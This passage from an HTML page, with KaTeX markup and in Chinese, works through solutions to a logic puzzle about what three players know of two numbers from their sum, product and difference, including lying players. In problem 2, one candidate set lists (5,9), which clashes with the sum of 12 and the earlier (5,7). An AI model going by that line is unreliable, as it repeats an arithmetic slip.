style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>。我們站在甲的角度進行推理：</p><ul><li><p>由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">x+y=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>，甲在一開始可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,7)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)}</span></span></span></span></p></li><li><p>查表可知乙-2、丙-3、乙-5所述都是甲已知的資訊，且他也知道丙在聽完他說的話之後便知道他在說謊，因此無從排除任何組合。</p></li><li><p>至於丙-6，由於甲可以做出我們在求解第1題時做出的推理，進而得出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，與上一題的答案取交集，甲據他所知所有他認為有可能的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>所組成的最小集合為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{(3,9),(4,8)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)}</span></span></span></span></p></li></ul></details><h3 id="%E7%AC%AC3%E9%A1%8C" tabindex="-1" id="第3題">第3題</h3><details><summary>點我展開</summary><p>接著是第3題，首先，乙在遊戲一開始便知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的確切數值。接著考慮甲，由第2題知至丙-6，他已將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的可能性縮減到剩下兩種，而他在聽到乙-8時便知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>。至於丙，由於他拿到的數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>，在遊戲一開始他便認知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,8),(3,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，而丙對甲-4做出與我們在解第1題時相同的推理便能排除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>這組可能。</p><table><thead><tr><th>角色</th><th>何時知道</th><th>關鍵</th></tr></thead><tbody><tr><td>乙</td><td>對話開始之前</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mn>27</mn></mrow><annotation encoding="application/x-tex">xy=27</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">27</span></span></span></span>可唯一分解</td></tr><tr><td>丙</td><td>甲-4後</td><td>甲知道乙知道，因而排除了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>的可能</td></tr><tr><td>甲</td><td>乙-8後</td><td>乙-8的謊話使甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>皆為奇數</td></tr></tbody></table></details><h3 id="%E7%AC%AC4%E9%A1%8C" tabindex="-1" id="第4題">第4題</h3><details><summary>點我展開</summary><p>在來是第4題，由上我們可知只保留甲-1~甲-4，丙便能判斷出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>是什麼。我們來看各句話分別有什麼功能</p><blockquote><p>甲：我不知道這兩個數是什麼，但我知道這兩個數中一定有奇數<br>乙：我不知道這兩個數是什麼<br>丙：我不知道這個數是什麼，不過甲在說謊<br>甲：乙不知道這兩個數是什麼</p></blockquote><p>遊戲開始前：</p><p>甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,7)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)}</span></span></span></span></p><p>乙知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span></p><p>丙知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,8),(3,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p><table><thead><tr><th>甲-1</th><th>乙-2</th><th>丙-3</th><th>甲-4</th></tr></thead><tbody><tr><td>讓丙知道甲為F</td><td>未給甲、丙新資訊</td><td>未給甲新資訊</td><td>使丙排除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span></td></tr></tbody></table><p>我們因而知道乙-2、丙-3也都可刪去。進一步我們還可以發現丙在一開始就知道乙知道了，因此憑甲-4就能知道甲為F，因此甲-1亦可刪去，因此<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值為8，刪去後只保留甲-4。</p><p>我們示範一下丙如何藉此進行推理：</p><p>丙：「根據我手上的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">x-y=-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>，我知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,8)\vee(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，經由查表我發現對這兩種情形，乙都在一開始就能知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>是什麼了，但甲卻說『乙不知道』，因而甲一定在說謊。而既然甲會這麼說，代表他也知道『乙知道』，才能保證他說的是謊話，若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>，那麼甲拿到的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，但<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(4,6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>就是一組使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>但乙不知道的組合，也就是甲如果拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span 